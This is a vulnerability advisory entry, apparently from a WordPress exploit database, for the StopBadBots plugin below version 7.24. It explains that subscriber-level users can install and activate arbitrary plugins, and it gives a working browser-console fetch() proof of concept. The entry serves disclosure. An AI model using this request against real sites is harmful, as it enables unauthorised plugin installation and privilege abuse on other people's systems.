Lucene search

K
wpexploitLana CodesWPEX-ID:8695B157-ABAC-4AA6-A022-E3AE41C03544
HistoryNov 21, 2022 - 12:00 a.m.

StopBadBots < 7.24 - Subscriber+ Arbitrary Plugin Installation

2022-11-2100:00:00
Lana Codes
127
stopbadbots
version 7.24
subscriber
arbitrary plugin installation
web browser
developer console
blog
install
activate
classic-editor
exploit

0.001 Low

EPSS

Percentile

20.3%

The plugin does not have proper authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscriber to call it and install and activate arbitrary plugins from wordpress.org

Run the below command in the developer console of the web browser while being on the blog as a subscriber user to install and activate the classic-editor plugin

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=stopbadbots_install_plugin&slug=classic-editor',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

0.001 Low

EPSS

Percentile

20.3%

Related for WPEX-ID:8695B157-ABAC-4AA6-A022-E3AE41C03544